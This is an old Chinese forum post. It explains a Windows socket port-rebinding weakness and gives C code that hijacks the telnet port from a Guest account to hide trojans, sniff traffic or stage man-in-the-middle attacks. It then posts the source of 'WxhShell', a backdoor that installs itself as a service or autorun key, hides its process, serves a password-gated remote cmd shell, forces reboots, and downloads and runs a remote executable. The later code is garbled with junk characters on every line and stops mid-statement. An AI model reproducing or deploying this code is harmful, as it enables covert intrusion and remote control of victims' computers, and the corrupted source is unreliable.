[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; >y:,9;
if(chr[0]==0xd || chr[0]==0xa) { 7!TueP0Zd
pwd=0; VrQmP
break; 'K{Z{[s{
} :I^;jdL
i++; x-.?HS[
} ILShd)]Rw
RcU}}V
// 如果是非法用户，关闭 socket ' x35=@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !s?nJ(p
} I(7NQ8Hx
VYImI>.t{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ob`d
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !AfHk|
@;?p&.W`D
while(1) { q0r>2c-d
|kV*Jc k
ZeroMemory(cmd,KEY_BUFF); q6`b26
Zu("#cA.H
// 自动支持客户端 telnet标准 xx9 g''Q
j=0; $#pPZ
while(j<KEY_BUFF) { KRMQtgahc
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OCaq3_#tZ
cmd[j]=chr[0]; TOXfWEU3>
if(chr[0]==0xa || chr[0]==0xd) { e)#J1(j_
cmd[j]=0; c*L\_Vx+
break; iq( E'`d
} ,a]?S^:y]
j++; ?FF4zI~
} kw%};;
"PTZ%7YH}
// 下载文件 .NC:;@y
if(strstr(cmd,"http://")) { x&Kh>PVh\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p &"`RS#Z
if(DownloadFile(cmd,wsh)) k=JrLfD4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1Z;r*}
else ={d>iByq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O5kz5b>Z
} v8[I8{41
else { EL 8<U
l@+7:n4K0
switch(cmd[0]) { JJ2_hVU
:hFIl0$,"3
// 帮助 4Vi`* !
case '?': { 1A G<$d5U|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cacr=iX
break; %'7lbpy,f
} WRyaKM
// 安装 yiC^aY=-
case 'i': { +&( Mgbna
if(Install()) qr4pR-Gdr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yvHA7eq*"
else lc,tVe_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\
break; i}mVQ\j5
} RcM/!,B
// 卸载 2Mvrey)
case 'r': { F9E<K]7K
if(Uninstall()) Bb^;q#S1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +|'c>,?2H
else _Wp{[TH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nv%rJy*w[
break; vAh6+K.e
} -Rd/Gx
// 显示 wxhshell 所在路径 #_J@-f7^
case 'p': { pg.ri64H<
char svExeFile[MAX_PATH]; UT=tT)4b
strcpy(svExeFile,"\n\r"); b8"?VS5-"
strcat(svExeFile,ExeFile); LO khjHR
send(wsh,svExeFile,strlen(svExeFile),0); wKYZa# u
break; y4I6
} :'3XAntZA
// 重启 X=!^] 3zH
case 'b': { G{ sOR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^*8G8'k;$
if(Boot(REBOOT)) SmdjyK1~8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`:K{loxq
else { 1V4s<m>#
closesocket(wsh); -tHU6s,
ExitThread(0); . Z.)t
} MgOR2,cR
break; YY)s p%
} S=<}:#;u0
// 关机 1#*a:F&re
case 'd': { l(u.I2^o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *`\Pr
if(Boot(SHUTDOWN)) XY)&}u.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/b_22]CC
else { ;"fDUY|
closesocket(wsh); eg?<mKrZ
ExitThread(0); Hl/ QnI!
} d + /&?3
break; wNtx]t_M
} c5l.B#-lY
// 获取shell {VvqO7A
case 's': { cU@SIJ)
CmdShell(wsh); [}/LD3
closesocket(wsh); u7\J\r4,+
ExitThread(0); /#-C4"|
break; R)z4n
} 7X q,z
// 退出 #Jn_c0
case 'x': { ?ROqn6k&c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RwPN gRF
CloseIt(wsh); &8>IeK{I
break; )XakJU^o
} =aj/,Q]
// 离开 X*39c b(b
case 'q': { ng:9 l3x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ph[#QHB
closesocket(wsh); wS+^K
WSACleanup(); NufLzg{
exit(1); sz {e''q
break; H]p!\H
} , GY h9
} 3k#/{Z
} }YMy6eW4
t!x5fNo)
// 提示信息 y[\VUzD*'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =fve/_Q~
} sqJSSNt
} \ 3?LqJ
U,gti,IX^
return; ]dk8lZ;bo
} YZ7|K<
7L@K _ZJ
// shell模块句柄 M^iU;vo
int CmdShell(SOCKET sock) RIE5KCrGB
{ iz?tu: \v&
STARTUPINFO si; /yF QeE
ZeroMemory(&si,sizeof(si)); ;3: q?&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !{)tSipd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xw T%),
PROCESS_INFORMATION ProcessInfo; M57T2]8,
char cmdline[]="cmd"; w{uuSe
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T2Y,U {
return 0; mG`e3X6@-
} T[4<R 5}
)h|gwERj
// 自身启动模式 {]_r W/
int StartFromService(void) N:tY":Hi
{ X 9%'|(tL
typedef struct ;D s46M-s
{ x{,q]u /
DWORD ExitStatus; m-DsY
DWORD PebBaseAddress; P=&o%K,:f
DWORD AffinityMask; <Ib[82PU
DWORD BasePriority; ?(m jx
ULONG UniqueProcessId; vR=6pl$|~~
ULONG InheritedFromUniqueProcessId; J9Ou+6u(
} PROCESS_BASIC_INFORMATION; 9,_mS{+B
S.Ma$KL~'^
PROCNTQSIP NtQueryInformationProcess; E%v?t1>/
E}_[QEY;Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6,LubZFD
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wm")[!h)v
WN5`;{\
HANDLE hProcess; bi&*9K0
PROCESS_BASIC_INFORMATION pbi; HXYRH
A"l?:?rtw]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3g~^[&|i
if(NULL == hInst ) return 0; wTGbd
]f: v,a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TsUOpEuX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -zO2|@S,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ''^Y>k
"/6:6`J
if (!NtQueryInformationProcess) return 0; =w5O&(
U_$qi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @~"anqT`
if(!hProcess) return 0; hf<^/@^tK
.tmiQ.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "zY](P
u#A<hq;
CloseHandle(hProcess); =rQP[ICs!
EVUq--)~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ELjK0pE}-
if(hProcess==NULL) return 0; X3:XTuV
V0(o~w/W%!
HMODULE hMod; z%7SrUj2
char procName[255]; rVa?JvDO=
unsigned long cbNeeded; |?,[@z _,
7`H 1f]d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); maY4g&'f
sv(f;ib
CloseHandle(hProcess); _#s=h_ FD
uV hCxUMQ
if(strstr(procName,"services")) return 1; // 以服务启动 ZBG}3Z
G633Lm`ri
return 0; // 注册表启动 ;HBCUe<_
} 7HJS.047
{d%&zvJnD
// 主模块 1w0OKaF5
int StartWxhshell(LPSTR lpCmdLine) )wtaKF.-
{ ;.Ie#Vr1N
SOCKET wsl; Af5D>/
BOOL val=TRUE; {[t`j+J
int port=0; :!f(F9
struct sockaddr_in door; q$.{j"cZV
dg7=X{=9jv
if(wscfg.ws_autoins) Install(); KZe)K_1[
tYqs~B3
port=atoi(lpCmdLine); I.@hW>k
A[dvEb;r
if(port<=0) port=wscfg.ws_port; \^K&vW;
xwZ8D<e-,
WSADATA data; YyJPHw)Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [;oCYb$9
,chf~-d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dj&}Gedy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZC4*{
door.sin_family = AF_INET; iH2n.M "
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m&0"<V!H/B
door.sin_port = htons(port); "SoHt]%#
5ZPzPUa8~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q2%QLM:.,
closesocket(wsl); O:/yAc`
return 1; 0l#)fJo
} RF!1oZ
:9Y$'+ <&H
if(listen(wsl,2) == INVALID_SOCKET) { %_aMl
closesocket(wsl); w$5A|%Y+V}
return 1; PS" .R_"
} wFIh6[3
Wxhshell(wsl); KZ:8[d
WSACleanup(); /<3<. ~
geefnb
return 0; a>B[5I5
DrvtH+e
} m:O(+Fl
y8bM<e2 U
// 以NT服务方式启动 aSYs_?&.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zMK](o1Vj
{ &MgeYpd
DWORD status = 0; \hP=-J[~C
DWORD specificError = 0xfffffff; jN+N(pIi.o
X7|.T0{=x
serviceStatus.dwServiceType = SERVICE_WIN32; ])#\_'fg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4oXbPr>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TE-;X,gDV_
serviceStatus.dwWin32ExitCode = 0; )I@L+
serviceStatus.dwServiceSpecificExitCode = 0; $H'X V"<o
serviceStatus.dwCheckPoint = 0; %YlTF\-
serviceStatus.dwWaitHint = 0; MYnH2w]
@gBE{)Fj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q1hMmMi
if (hServiceStatusHandle==0) return; Q7o5R{.oJ
]`w}+B'/
status = GetLastError(); \Z-2leL)j
if (status!=NO_ERROR) :H[\;Z1_
{ f.pkQe(
serviceStatus.dwCurrentState = SERVICE_STOPPED; `Xcirfp
serviceStatus.dwCheckPoint = 0; QI!i
serviceStatus.dwWaitHint = 0; #S+Z$DQD
serviceStatus.dwWin32ExitCode = status; L8vOBI7N
serviceStatus.dwServiceSpecificExitCode = specificError; -#A:`/22
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c;I, O
return; +MO E
} M\+*P,i
8xI`jE"1
serviceStatus.dwCurrentState = SERVICE_RUNNING; W)SjQp6
serviceStatus.dwCheckPoint = 0; mf|pNiQ,
serviceStatus.dwWaitHint = 0; -05U%l1e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TL)O-
} gS"Q=ZK"
r7!J&8;{K
// 处理NT服务事件，比如：启动、停止 JK~ m(oQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) P-JfV7(O8
{ +ydm,aKk
switch(fdwControl) WA.\*Nqze
{ kJ: 2;t=
case SERVICE_CONTROL_STOP: ZAg;q#z j
serviceStatus.dwWin32ExitCode = 0; 3On JWuVfZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; q:HoKJv4
serviceStatus.dwCheckPoint = 0; Ew^ @Aq
serviceStatus.dwWaitHint = 0; dNVv4{S
{ dTD5(}+J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qq+MBW*
} $-@$i`Kf/
return; CYB=Uq,
case SERVICE_CONTROL_PAUSE: K:qOoY
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8gmn6dCf
break; eZO9GMO
case SERVICE_CONTROL_CONTINUE: s5Fr)q// !
serviceStatus.dwCurrentState = SERVICE_RUNNING; FyEDt@J
break; 3BMS_,P
case SERVICE_CONTROL_INTERROGATE: R~B0+:6
break; udTxNl!
}; 6|;0ax4:P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `f'C[a"
} fEu9Jk
+>3]%i-\
// 标准应用程序主函数 It 2UfW
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qZG-Lh
{ 4&}\BU*
dB|Te"6
// 获取操作系统版本 u2`xC4>c
OsIsNt=GetOsVer(); 8g5V,3_6
GetModuleFileName(NULL,ExeFile,MAX_PATH); gB CC
{>.>7{7
// 从命令行安装 S+*cbA{J|
if(strpbrk(lpCmdLine,"iI")) Install(); ;x>;jS.t
~! Lw1]&
// 下载执行文件 .{N\<01
if(wscfg.ws_downexe) { z(d4)z 8'6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lfMH1llx
